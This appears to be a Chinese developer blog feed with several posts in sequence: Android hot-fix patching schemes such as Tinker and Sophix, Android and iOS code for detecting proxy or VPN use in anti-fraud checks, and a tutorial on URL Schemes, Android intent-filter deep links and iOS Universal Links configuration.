6.3.2 QQ 空间超级补丁方案

QQ 空间补丁方案就是使用javaassist 插桩的方式解决了CLASS_ISPREVERIFIED的难题。涉及的步骤如下:

  • 在apk安装的时候系统会将dex文件优化成odex文件,在优化的过程中会涉及一个预校验的过程。
  • 如果一个类的static方法,private方法,override方法以及构造函数中引用了其他类,而且这些类都属于同一个dex文件,此时该类就会被打上CLASS_ISPREVERIFIED。

    • 如果在运行时被打上CLASS_ISPREVERIFIED的类引用了其他dex的类,就会报错。
  • 正常的分包方案会保证相关类被打入同一个dex文件。
  • 想要使得patch可以被正常加载,就必须保证类不会被打上CLASS_ISPREVERIFIED标记。而要实现这个目的就必须要在分完包后的class中植入对其他dex文件中类的引用。

6.3.3 Tinker

QQ空间超级补丁方案在遇到补丁文件很大的时候耗时是非常严重的,因为一个大文件夹加载到内存中构建一个Element对象时,插入到数组最前端是需要耗费时间的,而这非常影响应用的启动速度。基于这些问题,微信提出了Tinker 方案。

Tinker的思路是,通过修复好的class.dex 和原有的class.dex比较差生差量包补丁文件patch.dex,在手机上这个patch.dex又会和原有的class.dex 合并生成新的文件fix_class.dex,用这个新的fix_class.dex 整体替换原有的dexPathList的中的内容,进而从根本上修复Bug,下图是演示图。

在这里插入图片描述
相比QQ空间超级补丁方案,Tinker 提供的思路可以说效率更高。对Tinker热修复方案感兴趣的同学可以去看看 Tinker 源码分析之DexDiff / DexPatch

6.3.4 HotFix

以上提到的两种方式,虽然策略有所不同,但总的来说都是从上层ClassLoader的角度出发,由于ClassLoader的特点,如果想要新的补丁文件再次生效,无论你是插桩还是提前合并,都需要重新启动应用来加载新的DexPathList,从而实现Bug的修复。

AndFix 提供了一种运行时在Native修改Filed指针的方式,实现方法的替换,达到即时生效无需重启,对应用无性能消耗的目的。不过,由于Android在国内变成了安卓,各大手机厂商定制了自己的ROM,所以很多底层实现的差异,导致AndFix的兼容性并不是很好。

6.3.5 Sophix

Sophix采用的是类似类修复反射注入方式,把补丁so库的路径插入到nativeLibraryDirectories数组的最前面, 这样加载so库的时候就是补丁so库而不是原来的so库。

在修复类代码的缺陷时,Sophix对旧包与补丁包中classes.dex的顺序进行了打破与重组,使得系统可以自然地识别到这个顺序,以实现类覆盖的目的。

在修复资源的缺陷时,Sophix构造了一个package id 为 0x66 的资源包,这个包里只包含改变了的资源项,然后直接在原有AssetManager中addAssetPath这个包即可,无需变更AssetManager对象的引用。

除了这些方案外,热修复方案还有美团的Robust、饿了吗的Amigo等。不过,对于Android的热修复来说,很难有一种十分完美的解决方案。比如,在Android开发中,四大组件使用前需要在AndroidManifest中提前声明,而如果需要使用热修复的方式,无论是提前占坑亦或是动态修改,都会带来很强的侵入性。同时,Android碎片化的问题,对热修复方案的适配也是一大考验。

参考: Android 热修复的简析
深入探索Android热修复技术原理

Android/iOS判断是否使用代理或VPN

$
0
0

针对APP的黑产,我们提到部分用户会通过改变IP来绕过风控策略。更改IP比较方便的方法是使用代理IP或VPN。

在检测APP安全性是需要对是否使用代码和VPN做判断。以下为整理的一些代码供参考。

Android判断是否使用代理IP

private boolean isWifiProxy(Context context) {
    final boolean IS_ICS_OR_LATER = Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH;
    String proxyAddress;
    int proxyPort;

    if (IS_ICS_OR_LATER) {
        proxyAddress = System.getProperty("http.proxyHost");
        String portStr = System.getProperty("http.proxyPort");
        proxyPort = Integer.parseInt((portStr != null ? portStr : "-1"));
    } else {
        proxyAddress = android.net.Proxy.getHost(context);
        proxyPort = android.net.Proxy.getPort(context);
    }
    return (!TextUtils.isEmpty(proxyAddress)) && (proxyPort != -1);
}

Android判断是否使用VPN

boolean checkVPN(ConnectivityManager connMgr) {
    //don't know why always returns null:
    NetworkInfo networkInfo = connMgr.getNetworkInfo(ConnectivityManager.TYPE_VPN);

    boolean isVpnConn = networkInfo == null ? false : networkInfo.isConnected();
    return isVpnConn;
}

iOS判断是否使用代理IP

#import "CETCProxyStatus.h"

@implementation CETCProxyStatus

+ (BOOL)getProxyStatus {
    NSDictionary *proxySettings = NSMakeCollectable([(NSDictionary *)CFNetworkCopySystemProxySettings() autorelease]);

    NSArray *proxies = NSMakeCollectable([(NSArray *)CFNetworkCopyProxiesForURL((CFURLRef)[NSURL URLWithString:@"http://www.baidu.com"], (CFDictionaryRef)proxySettings) autorelease]);
    NSDictionary *settings = [proxies objectAtIndex:0];

    NSLog(@"host=%@", [settings objectForKey:(NSString *)kCFProxyHostNameKey]);
    NSLog(@"port=%@", [settings objectForKey:(NSString *)kCFProxyPortNumberKey]);
    NSLog(@"type=%@", [settings objectForKey:(NSString *)kCFProxyTypeKey]);

    if ([[settings objectForKey:(NSString *)kCFProxyTypeKey] isEqualToString:@"kCFProxyTypeNone"]) {
        //没有设置代理
        return NO;
    } else {
        //设置代理了
        return YES;
    }
}

iOS判断是否使用VPN

- (BOOL)isVPNOn
{
   BOOL flag = NO;
   NSString *version = [UIDevice currentDevice].systemVersion;
   // need two ways to judge this.
   if (version.doubleValue >= 9.0)
   {
       NSDictionary *dict = CFBridgingRelease(CFNetworkCopySystemProxySettings());
       NSArray *keys = [dict[@"__SCOPED__"] allKeys];
       for (NSString *key in keys) {
           if ([key rangeOfString:@"tap"].location != NSNotFound ||
               [key rangeOfString:@"tun"].location != NSNotFound ||
               [key rangeOfString:@"ipsec"].location != NSNotFound ||
               [key rangeOfString:@"ppp"].location != NSNotFound){
               flag = YES;
               break;
           }
       }
   }
   else
   {
       struct ifaddrs *interfaces = NULL;
       struct ifaddrs *temp_addr = NULL;
       int success = 0;
       // retrieve the current interfaces - returns 0 on success
       success = getifaddrs(&interfaces);
       if (success == 0)
       {
           // Loop through linked list of interfaces
           temp_addr = interfaces;
           while (temp_addr != NULL)
           {
               NSString *string = [NSString stringWithFormat:@"%s" , temp_addr->ifa_name];
               if ([string rangeOfString:@"tap"].location != NSNotFound ||
                   [string rangeOfString:@"tun"].location != NSNotFound ||
                   [string rangeOfString:@"ipsec"].location != NSNotFound ||
                   [string rangeOfString:@"ppp"].location != NSNotFound)
               {
                   flag = YES;
                   break;
               }
               temp_addr = temp_addr->ifa_next;
           }
       }
       // Free memory
       freeifaddrs(interfaces);
   }


   return flag;
}

App深度链接与延迟深度链接

$
0
0

APP唤醒与场景还原

在App投放推广中,唤醒用户是常见的运营策略。想要让用户重新活跃起来,转化用户的行为,必须从场景上还原用户的路径,从根本上找到用户增长的奥秘。

在这个广告漫天的时代,相信大多数用户在使用App的时候都遇到类似的场景:在使用某资讯类App的时候,浏览到了淘宝的商品广告,当你点击该广告内容时,自动打开了你手机上已经安装的淘宝App并且定位到了该商品的详情页。

  • 作为用户,心里一定在想:“这购物真方便,都不要自己打开淘宝搜索商品了”。
  • 作为广告主,心里在想:“又拉活了一个用户,说不定还能带来一笔转化”。

那么,资讯类App是如何唤醒淘宝App的呢,淘宝App又是如何跳转至用户浏览的广告页面呢?

唤醒&场景还原,作为运营常用的拉活增长手段,有利于提升老用户在App的活跃度,场景化的唤醒更能激发用户的转化意愿。

其适用于如下几个营销场景:

  • 浏览器 -> 唤醒APP:用户A在手机上通过浏览器打开了某APP的M站或者官网,则引导用户打开该APP或者下载该APP。
  • 微信、QQ等 -> 唤醒APP:用户通过某APP分享了一条链接至微信或QQ,用户B点开该链接后,引导用户B打开该APP或者下载该APP。
  • 短信、邮件、二维码等-> 唤醒APP:用户A打开了某APP的推广短信,邮件或者扫描二维码等,引导用户打开该APP或者下载该APP。
  • 其他APP -> 唤醒APP:用户A通过第三方APP分享了一条链接至用户B,用户B点开该链接后,引导用户B打开指定APP或者下载指定APP。

常见唤醒APP方式

URL Scheme

URI Schema 是这几种调起方式中最原始的一种,只需要原生APP开发时注册scheme, 那么用户点击到此类链接时,会自动唤醒APP,借助于URL Router机制,则还可以跳转至指定页面。这种方式是当前使用最广泛,也是最简单的,但是需要手机APP支持URL Scheme。

iOS URL Scheme

iOS的沙盒机制

iOS选择沙盒来保障用户的隐私和安全,但沙盒也阻碍了应用间合理的信息共享,于是有了 URL Schemes 这个解决办法。一般来说,我们使用的智能设备上有许多我们的个人信息。比如:联系方式、银行卡/信用卡信息、支付宝/Paypal/各大商城的账户密码、照片甚至行程与位置信息等。

如果说,你设备上的每一个应用,不管是官方的还是你从任何商城安装的应用都可以随意地获取这些信息,那么你轻则收到骚扰信息和邮件、重则后果不堪设想。如何让这些信息不被其它应用随意使用,或者说,如何让这些信息仅在设备所有者本人知情并允许的情况下被使用,是所有智能设备与操作系统所要在乎的核心安全问题。

在 iOS 这个操作系统中,针对这个问题,苹果使用了名为「沙盒」的机制:应用只能访问它声明可能访问的资源。一切提交到 App Store 的应用都必须遵守这个机制。

在安全方面沙盒是个很好的解决办法,但是有些矫枉过正。敏感的个人信息我们不愿意透露,却不代表所有的信息我们都不想与其它应用共享。比如说我们要一次性地(没错,只按一次)把多个事件放到日历中,这些事件包含日期时间以及持续时间等信息,如果 App 之间信息不能沟通,就无法做到这点。类似于一次性添加多个日历事件这样的,我们在使用智能设备的过程中会遇到很多不必要的重复的步骤。大多数人对这些重复的步骤是不自觉的,就像当自己电脑里有一批文件需要批量重命名的时候,他们机械地重复着重命名的过程。但是当我们掌握了这些设备运行的模式,或者有了一些工具,我们就能将这些重复的步骤全部节省下来。在 iOS 上,我们可以利用的工具就是 URL Schemes。

URL Schemes 是什么

通过对比网页链接来理解 iOS 上的 URL Schemes,应该就容易多了。

URL Schemes 有两个单词:

  • URL,我们都很清楚,http://www.apple.com 就是个 URL,我们也叫它链接或网址;
  • Schemes,表示的是一个 URL 中的一个位置——最初始的位置,即 ://之前的那段字符。比如 http://www.apple.com 这个网址的 Schemes 是 http。

根据我们上面对 URL Schemes 的使用,我们可以很轻易地理解,在以本地应用为主的 iOS 上,我们可以像定位一个网页一样,用一种特殊的 URL 来定位一个应用甚至应用里某个具体的功能。而定位这个应用的,就应该这个应用的 URL 的 Schemes 部分,也就是开头儿那部分。比如短信,就是 sms:

你可以完全按照理解一个网页的 URL ——也就是它的网址——的方式来理解一个 iOS 应用的 URL,拿苹果的网站和 iOS 上的微信来做个简单对比:

网页(苹果)iOS 应用(微信)
网站首页/打开应用http://www.apple.comweixin://
子页面/具体功能http://www.apple.com/mac/weixin://dl/moments

在这里,http://www.apple.com 和 weixin:// 都声明了这是谁的地盘。然后在 http://www.apple.com 后面加上 /mac 就跳转到从属于 http://www.apple.com 的一个网页(Mac 页)上;同样,在 weixin:// 后面加上 dl/moments 就进入了微信的一个具体的功能——朋友圈。

但是,两者还有几个重要的区别:

  • 所有网页都一定有网址,不管是首页还是子页。但未必所有的应用都有自己的 URL Schemes,更不是每个应用的每个功能都有相应的 URL Schemes。实际上,现状是,大多数的应用只有用于打开应用的 URL Schemes,而有一些应用甚至没有用于打开应用的 URL Schemes。几乎没有所有功能都有对应 URL 的应用。所以,不要说某某应用烂,不支持国内应用。一个 App 是否支持 URL Schemes 要看那个 App 的作者是否在自己的作品里添加了 URL Schemes 相关的代码。
  • 一个网址只对应一个网页,但并非每个 URL Schemes 都只对应一款应用。这点是因为苹果没有对 URL Schemes 有不允许重复的硬性要求,所以曾经出现过有 App 使用支付宝的 URL Schemes 拦截支付帐号和密码的事件。
  • 一般网页的 URL 比较好预测,而 iOS 上的 URL Schemes 因为没有统一标准,所以非常难猜,通过猜来获取 iOS 应用的 URL Schemes 是不现实的。

基本 URL Schemes

基本 URL Schemes 的能力虽然简单有限,但使用情境却是最普遍的。所谓的基本 URL Schemes,是指一个 URL 的 Schemes 部分,比如上文提到的微信的 weixin:。这个部分的唯一功能,就是打开相应应用,而不能够跳转到任何功能。

绝大多数所谓支持 URL Schemes 的应用,一般都是只有这么一个部分,它一般是这个应用的名称,比如 OmniFocus 这款应用,它的基本 URL Schemes 就是 Omnifocus:。如果应用的主名称是个中文名的话,它的 URL Schemes 也许会是应用名的拼音,比如 墨客 这款应用,它的基本 URL Schemes 是 moke:。但网页 URL 和 iOS 应用的 URL 的三个重要区别,其中第三项,就是 iOS 上的 URL Schemes 并不规范,一个应用的 URL 可以是各种各样的:

  • Coursera 的 URL 是:coursera-mobile:
  • Duet 这款游戏的 URL 是:x-kumo-duet:
  • Monument 这款游戏的 URL 是:fb690517270143345:
  • Feedly 的 URL 是:fb129765800430121:
  • 扇贝新闻的 URL 是:wx95962d02b9c3e2f7:

它们目前并没有统一的规则,所以猜测一个应用的意义并不太大,你可以试试,但不要过于指望这种方式。下文会提到如何查找一个应用的基本 URL Schemes,只要那个应用支持 URL Schemes 就能找到。基本 URL Schemes 的能力虽然简单有限,但使用情境却是最普遍的。

复杂 URL Schemes

掌握复杂 URL Schemes 你才算初步有了打造适应自己使用情境的自动化流程的能力。iOS 应用的复杂 URL Schemes 就像网站的子页面的链接一样,在首页网址的基础上进行延伸。

具体来看,复杂 URL Schemes 有两种:一种是直接打开某个应用的某个功能,另一种是打开某个功能后直接填写预设的字符。就成为了一个更加实用的 URL Schemes,因为它不光直接让你进入了某个你需要的功能界面,还直接帮你填好了你需要的内容,而跳转后,你需要的只是按一下完成。

有了这样的 URL Schemes,应用之间才可以互相地协作。比如说,当我们在Mr. Reader上看到一篇文章里面写了一个不错的软件的时候,我们可以利用OmniFocus的 URL Schemes 将文章名保存到任务名的部分,把链接保存到备注的部分。在 iOS 8 的 Share Sheet 出现之前,这是唯一在 App 间传输信息的方式。

复杂 URL Schemes 有一个特殊的用例是 Jumpback,字典类 App 用它的很多,比如欧路词典。传统的使用欧陆字典查询单词的 URL Schemes 是:

eudic://dict/想查的单词

在这个基础上,加上一句 Jumpback:

eudic://dict/想查的单词?jumpback=指定URL

就能够做到查完单词以后,按左上角或左下角的返回按钮,回到你想要回到的 App。

并不是每个应用都有它的复杂 URL Schemes,但一般来说,有系统规范的复杂 URL Schemes 的应用都是同类应用中的佼佼者。

x-callback-URL

从一个应用的界面跳转到了另一个应用后,就会在左上角看到回到上一个应用的字样,轻触就能返回到上一个应用。这样的事情我们在打造自己的自动化操作的时候毫无疑问也会想要做到,前面说过的Jumpback是一个选择,除此之外还有更强力的代替者——x-callback-URL,它还有 iOS 9 上「返回上个应用」这一功能不能代替的地方。但是不可否认的是,x-callback-URL 的使用情境比较少,使用难度却又比较高。

我们前面谈到的 URL Schemes 都只有一个目的,不管结果是什么,跳转完成后就会停留在跳转后的应用的界面。但在使用 URL Schemes 的时候,运行结果有时候可能成功,有时候可能失败,有时候我们也会手动将其取消。

如果我们还想让应用根据不同的结果有对应的反应,就要用到 x-callback-URL。比如当上一个 URL Schemes 运行成功以后,我是要回到跳转前的应用?还是要接另一个动作(接上另一段 URL Schemes,打开另一个应用的某个功能)?无论是跳转回上个应用还是打开另一个动作,只要你在运行完一个 URL Schemes 后还想再利用一段新的 URL Schemes 做下一件事,就要靠 x-callback-URL,它的固定语法是:

  • 在一个 URL Schemes 后面接&x-success,表示前一个 URL 成功以后下一步做什么;
  • 在一个 URL Schemes 后面接&x-error,表示前一个 URL 失败以后下一步做什么;
  • 在一个 URL Schemes 后面接&x-cancel,表示取消前一个 URL 的操作结果后下一步做什么;
  • 还有一个&x-source 我们遇到了再说。

URL 编码(Encode)

URL 中的字符可以分为两类,一部分可以在链接中正常显示,比如字母、数字还有/等一部分符号。除此之外,全部不能正常显示,需要进行编码才能够作为 URL 的一部分出现。比如空格,在 URL 中就必须表示为%20转换的规则不用深究,网上有很多工具提供 URL 的编码和解码功能,可以把编码过的乱七八糟的 URL 解码为我们看得清爽的字符。这些工具当然也可以反过来把我们常用的字符转换成可以在 URL 中使用的字符。

所以理论上,所有 URL 不支持的字符,都要编码。

自定义 URL Scheme 进行跳转

如果我们希望别人打开我们的 app(名字叫做 SchemeDemo),需要注册自定义 URL Scheme,通过 info.plist –> URL Types –> item0 –> URL Schemes –> 你的TestScheme 来设置,详细步骤如下:

1、点击工程中的 info.plist 文件,当该文件显示在如下窗口时,在列表顶部鼠标选中 Information Property List,选择 +,然后向下滚动弹出的列表并选择 URL types,类型为 NSArray。

2、点击 URL types 左边剪头打开列表,可以看到 Item 0,一个字典实体。展开 Item 0,可以看到 URL Identifier,一个字符串对象。该字符串是你自定义的 URL scheme 的名字。建议采用反转域名的方法保证该名字的唯一性,比如 com.yourCompany.yourApp。

3、点击 Item 0 新增一行,从下拉列表中选择 URL Schemes,敲击键盘回车键完成插入。注意 URL Schemes 是一个数组,允许应用定义多个 URL schemes。

4、展开 URL Schemes 该数据并点击 Item 0。你将在这里定义自定义 URL scheme 的名字。只需要名字,不要在后面追加 ://,比如,如果你输入 iOSDevApp,你的自定义 url 就是 iOSDevApp://。

此时,整个定义如下图:

Android URL Scheme

Android中的自定义的URL Scheme是一种页面内跳转协议,也可以被称为URLRouter,就是通过类似打开网页的方式去通过路由打开一个Activity,而非直接通过显式Intent方式去进行跳转。这样隐式intent的方法跳转好处如下:

  • 降低耦合性:不需要知道具体要跳转哪个界面,只需要根据需求,按照约定好的URL路由协议发送Intent即可;
  • 更为安全:不显示Intent跳转,只要是符合协议的Intent都会有对应的Activity来匹配,避免了跳转到不该出现的页面;
  • 更为灵活: 有着更为广泛的应用场景,多种场景中都可以使用URL Scheme

URL Scheme协议格式

上文已经说过,URL Scheme是就通过类似打开网页的方式去通过路由打开一个Activity,其协议格式和我们打开网页输入的网址类似。

一个完整的完整的URL Scheme协议格式由scheme、host、port、path和query组成,其结构如下所示:

<scheme>://<host>:<port>/<path>?<query>

其中scheme既可以是Android中常见的协议,也可以是我们自定义的协议。Android中常见的协议包括content协议、http协议、file协议等,自定义协议可以使用自定义的字符串,当我们启动第三方的应用时候,多是使用自定义协议。

如下是一个自定义协议的URI:xl://goods:8888/goodsDetail?goodsId=10011002

通过上面的路径 Scheme、Host、port、path、query全部包含:

  • xl,即为Scheme,代表该Scheme 协议名称
  • goods,即为Host,代表Scheme作用于哪个地址域
  • 8888,即为port,代表该路径的端口号
  • goodsDetail,即为path, 代表Scheme指定的页面
  • goodsId,即为query,代表传递的参数

URL Scheme的使用方法

URL Scheme的使用方法简要言之就是先在manifest中配置能接受Scheme方式启动的activity;当需要调用时,将Scheme协议的URi以Data的形式加入到Intent中,隐式调用该activity。

1)在AndroidManifest.xml中对<activity >标签增加<intent-filter>设置Scheme

<activity android:name=".MainActivity"><intent-filter> <!--正常启动--><action android:name="android.intent.action.MAIN"/><category android:name="android.intent.category.LAUNCHER"/></intent-filter><intent-filter> <!--URL Scheme启动--><!--必有项--><action android:name="android.intent.action.VIEW"/><!--如果希望该应用可以通过浏览器的连接启动,则添加该项--><category android:name="android.intent.category.BROWSABLE"/><!--表示该页面可以被隐式调用,必须加上该项--><category android:name="android.intent.category.DEFAULT"/><!--协议部分--><data android:scheme="urlscheme"
            android:host="auth_activity"></intent-filter><intent-filter><action   android:name="emms.intent.action.check_authorization"/><category android:name="android.intent.category.DEFAULT"/><category android:name="emms.intent.category.authorization"/></intent-filter></activity>

上面的设置中可以看到,MainActivity包含多个<intent-filter>设置,第一个是正常的启动,也就是在应用列表中启动;第二个是通过URL Scheme方式启动,其本身也是隐式Intent调用的一种,不同在于添加了<data>属性,定义了其接受URL Scheme协议格式为urlschemel://auth_activity

这里需要说明下,URL Scheme协议格式中,组成URI的这些属性在<data >标签中都是可选的 ,但存在如下的依赖关系:

  • 如果没有指定scheme,那么host参数会被忽略
  • 如果没有指定host,那么port参数会被忽略
  • 如果scheme和host都没有指定,path参数会被忽略

当我们将intent对象中的Uri参数与intent-filter中的<data>标签指定的URI格式进行对比时,我们只对比intent-filter的<data>标签指定的部分,例如:

  • 如果intent-filter中只指定了scheme,那么所有带有该sheme的URI都能匹配到该intent-filter。
  • 如果intent-filter中只指定了scheme和authority(authority包括host和port两部分)而没有指定path,那么所有具有相同scheme和authority的URI都能匹配到该intent-filter,而不用考虑path为何值。
  • 如果intent-filter中同时指定了scheme、authority和path,那么只有具有相同scheme、authority和path的URI才能匹配到该intent-filter。

需要注意的是,intent-filter的<data>标签在指定path的值时,可以在里面使用通配符*,起到部分匹配的效果。

2)使用URL启动Activity

Uri data = Uri.parse("urlschemel://auth_activity");
 Intent intent = new Intent(Intent.ACTION_VIEW,data);
 //保证新启动的APP有单独的堆栈,如果希望新启动的APP和原有APP使用同一个堆栈则去掉该项
 intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
 try {
   startActivityForResult(intent, RESULT_OK);
 } catch (Exception e) {
   e.printStackTrace();
   Toast.makeText(MainActivity.this, "没有匹配的APP,请下载安装",Toast.LENGTH_SHORT).show();
 }

当然可以在网页中调用:

<a href="urlschemel://auth_activity">打开新的应用</a>

或者是在JS中调用:

window.location = "urlschemel://auth_activity";

3)如何判断URL Scheme是否有效

boolean checkUrlScheme(Intent intent){
    PackageManager packageManager = getPackageManager();
    List<ResolveInfo> activities = packageManager.queryIntentActivities(intent, 0);
    return !activities.isEmpty();
}

将子APP在Home Launcher中隐藏

有时候需要把一些辅助性的、较为独立的APP在Home Launcher中隐藏起来,只允许一些特定的APP调用。这个时候,我们可以利用URL Scheme协议来做到这一点,设置AndroidManifest.xml中对<activity >标签如下:

<activity android:name=".MainActivity"><intent-filter><action android:name="android.intent.action.MAIN"/><category android:name="android.intent.category.LAUNCHER"/><category android:name="android.intent.category.BROWSABLE"/><!--表示该页面可以被隐式调用,必须加上该项--><category android:name="android.intent.category.DEFAULT"/><!--协议部分--><data android:scheme="urlscheme"
            android:host="auth_activity"></intent-filter></activity>

因为Home Launcher列出的应用图标要求必须有Activity同时满足:

<action android:name="android.intent.action.MAIN"/><category android:name="android.intent.category.LAUNCHER"/>

上面的配置中有多余的category和data限制存在,所以并不匹配,不会在Home Launcher出现,但是可以使用URL Scheme来启动。

Uri data = Uri.parse("urlschemel://auth_activity");
Intent intent = new Intent(Intent.ACTION_MAIN,data);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

这样就可以将一组APP设置一个统一的入口,然后根据实际需要在调用不同子APP,即所谓的APP业务组件化。

URL Scheme的缺点

提示框

我们只能通过固定协议格式的链接来实现跳转,而且打开H5页面时,会出现一个提示框:“是否打开XXX”。用户确认了才会跳转到App中,增加了用户流程。

未安装APP导致的异常

错误处理情况因平台不同,难以统一处理,部分APP会直接跳错误页(比如Android Chrome/41,iOS中老版的Lofter);也有的停留在原页面,但弹出提示“无法打开网页”(比如iOS7);iOS8以及最新的Android Chrome/43 目前都是直接停留在当前页,不会跳出错误提示。

场景支持情况

iOS在实际使用中,腾讯系的微信,QQ明确禁止使用,iOS9以后Safari不再支持通过js,iframe等来触发scheme跳转,并且还加入了确认机制,使得通过js超时机制来自动唤醒APP的方式基本不可用;Android平台则各个app厂商差异很大,比如Chrome从25及以后就同Safari情况一样。

命名冲突或劫持

如果手机中同時存在有两个应用都使用相同的 URL Scheme,那么唤起目标应用时,系统会优先唤起哪一个呢?Apple在后续iOS版本(iOS 11)采用了先到先得原则,如果使用了同一个URL Scheme,只有先安装的app会被启动。然而,攻击者还是可以通过其他方法来利用这个漏洞。

打开方式被禁

微信、QQ等把URL Scheme 打开App这种方式给禁了,但是它们都各自维护着一个白名单,如果Scheme不在该白名单内,那么就不能在他们的App内打开这个App(如果被封锁了那么用户只能通过右上角浏览器内打开App)

iOS Universal Links

Universal Link 是苹果在 WWDC 上提出的 iOS9 的新特性之一。此特性类似于深层链接,并能够方便地通过打开一个 Https 链接来直接启动您的客户端应用(手机有安装 App)。对比起以往所使用的 URL Scheme,这种新特性在实现 web-app 的无缝链接时能够提供极佳的用户体验。

当你的应用支持 Universal Link(通用链接),当用户点击一个链接是可以跳转到你的网站并获得无缝重定向到对应的 APP,且不需要通过 Safari 浏览器。如果你的应用不支持的话,则会在 Safari 中打开该链接。

使用 Universal Link(通用链接)可以让用户在 Safari 浏览器或者其他 APP 的 webview 中拉起相应的 APP,也可以在 APP 中使用相应的功能,从而来把用户引流到 APP 中。这具体是一种怎样的情景呢?举个例子,你的用户 safari 里面浏览一个你们公司的网页,而此时用户手机也同时安装有你们公司的 App;而 Universal Link 能够使得用户在打开某个详情页时直接打开你的 app 并到达 app 中相应的内容页面,从而实施用户想要的操作(例如查看某条新闻,查看某个商品的明细等等)。比如在 Safari 浏览器中进入淘宝网页点击打开 APP 则会使用 Universal Link(通用链接)来拉起淘宝 APP。

Universal link 的特点:

  • 唯一性: 不像自定义的 URL Scheme,因为它使用标准的 HTTPS 协议链接到你的 web 站点,所以一般不会被其它的 APP 所声明。另外,URL scheme 因为是自定义的协议,所以在没有安装 app 的情况下是无法直接打开的(在 Safari 中还会出现一个不可打开的弹窗),而 Universal Link(通用链接)本身是一个 HTTPS 链接,所以有更好的兼容性;
  • 安全: 当用户的手机上安装了你的 APP,那么系统会去你配置的网站上去下载你上传上去的说明文件(这个说明文件声明了当前该 HTTPS 链接可以打开那些 APP)。因为只有你自己才能上传文件到你网站的根目录,所以你的网站和你的 APP 之间的关联是安全的;
  • 可变: 当用户手机上没有安装你的 APP 的时候,Universal Link(通用链接)也能够工作。如果你愿意,在没有安装你的 app 的时候,用户点击链接,会在 safari 中展示你网站的内容;
  • 简单: 一个 HTTPS 的链接,可以同时作用于网站和 APP;
  • 私有: 其它 APP 可以在不需要知道你的 APP 是否安装了的情况下和你的 APP 相互通信。

Universal Link的优点:

  • Custom URL scheme是自定义的协议,因此在没有安装该app的情况下是无法直接打开的。而Universal Links本身也就是一个能够指向一个web页面或者app中的内容页的标准的web link(形如https://example.com) 因此能够很好的兼容其他情况。也就是说,当已经安装了这个app的时候,不需要加载任何web页面,app就会立即启动;当这个app没有安装的时候,就会默认地从当前浏览器中重定向到App Store中引导用户去下载安装这个app。
  • Universal links是从服务器上查询是哪个app需要被打开,因此不存在Custom URL scheme那样名字被抢占、冲突的情况。
  • Universal links支持从其他app中的UIWebView中跳转到目标app
  • 安全性,用universl link去打开的时候,只有你可以通过创建和上传一个允许这个网页去通过这个URL去打开你的app的文件。
  • 隐私性,提供Universal link给别的app进行app间的交流,然而对方并不能够用这个方法去检测你的app是否被安装。

Universal link 配置和运行

1) 配置 App ID 支持 Associated Domains

登录https://developer.apple.com/ 苹果开发者中心,找到对应的 App ID,在 Application Services 列表里有 Associated Domains 一条,把它变为 Enabled 就可以了。

2 )配置 iOS App 工程

Xcode 11.0 版本:工程配置中相应功能:targets->Signing&Capabilites->Capability->Associated Domains,在其中的 Domains 中填入你想支持的域名,也必须必须以 applinks:为前缀。

Xcode 11.0 以下版本:工程配置中相应功能:targets->Capabilites->Associated Domains,在其中的 Domains 中填入你想支持的域名,必须以 applinks:为前缀。

3) 配置和上传 apple-app-association

究竟哪些的 url 会被识别为 Universal Link,全看这个 apple-app-association 文件 Apple Document UniversalLinks.html

  • 你的域名必须支持 Https
  • 域名根目录或者.well-known目录下放这个文件apple-app-association,不带任何后缀。
  • 文件为 json 保存为文本即可
  • json 按着官网要求填写即可

apple-app-site-association模板:

{"applinks": {"apps": [],"details": [
            {"appID": "9JA89QQLNQ.com.apple.wwdc","paths": [ "/wwdc/news/", "/videos/wwdc/2015/*"]
            },
            {"appID": "ABCD1234.com.apple.wwdc","paths": [ "*" ]
            }
        ]
    }
}

说明:

  • appID:组成方式是yourapp’s bundle identifier。如上面的 9JA89QQLNQ 就是 teamId。登陆开发者中心,在 Account -> Membership 里面可以找到 Team ID。
  • paths:设定你的 app 支持的路径列表,只有这些指定的路径的链接,才能被 app 所处理。星号的写法代表了可识 别域名下所有链接。

上传指定文件:上传该文件到你的域名所对应的根目录或者.well-known 目录下,这是为了苹果能获取到你上传的文件。上传完后,自己先访问一下,看看是否能够获取到,当你在浏览器中输入这个文件链接后,应该是直接下载 apple-app-site-association 文件。

验证 Universal link 生效

可以使用 iOS 自带的备忘录程序,输入链接,长按链接,如果弹出菜单中有”在‘xxx’中打开”,即表示配置生效。或者将要测试的网址在Safari中打开,在出现的网页上方下滑,可以看到有在”xxx”应用中打开, 出现菜单。

当点击某个链接,直接可以进我们的 app 了,但是我们的目的是要能够获取到用户进来的链接,根据链接来展示给用户相应的内容。

在AppDelegate里中实现代理方法,官方链接: Handling Universal Links

Objective-C:

- (BOOL)application:(UIApplication *)application continueUserActivity:(NSUserActivity *)userActivity restorationHandler:(void (^)(NSArray * _Nullable))restorationHandler {
    if ([userActivity.activityType isEqualToString:NSUserActivityTypeBrowsingWeb])
    {
        NSURL *url = userActivity.webpageURL;
        if (url是我们希望处理的)
        {
            //进行我们的处理
        }
        else
        {
            [[UIApplication sharedApplication] openURL:url];
        }
    }
     
    return YES;
}

Swift:

func application(_ application: UIApplication,
                 continue userActivity: NSUserActivity,
                 restorationHandler: @escaping ([Any]?) -> Void) -> Bool
{
    guard userActivity.activityType == NSUserActivityTypeBrowsingWeb,
        let incomingURL = userActivity.webpageURL,
        let components = NSURLComponents(url: incomingURL, resolvingAgainstBaseURL: true),
        let path = components.path,
        let params = components.queryItems else {
            return false
    }
    print("path = \(path)")
    if let albumName = params.first(where: { $0.name == "albumname" } )?.value,
        let photoIndex = params.first(where: { $0.name == "index" })?.value {
        print("album = \(albumName)")
        print("photoIndex = \(photoIndex)")
        return true
    } else {
        print("Either album name or photo index missing")
        return false
    }
}

Universal link跨域问题

Universal Link有跨域问题,Universal Link必须要求跨域,如果不跨域,就不会跳转(iOS 9.2之后的改动)要求具备跨域能力即可, 假如当前网页的域名是A,当前网页发起跳转的域名是B,必须要求B和A是不同域名才会触发Universal Link,如果B和A是相同域名,只会继续在当前WebView里面进行跳转,哪怕你的Universal Link一切正常,根本不会打开App 2. Universal Link请求apple-app-site-association时机

  • 当我们的App在设备上第一次运行时,如果支持Associated Domains功能,那么iOS会自动去GET定义的Domain下的apple-app-site-association文件
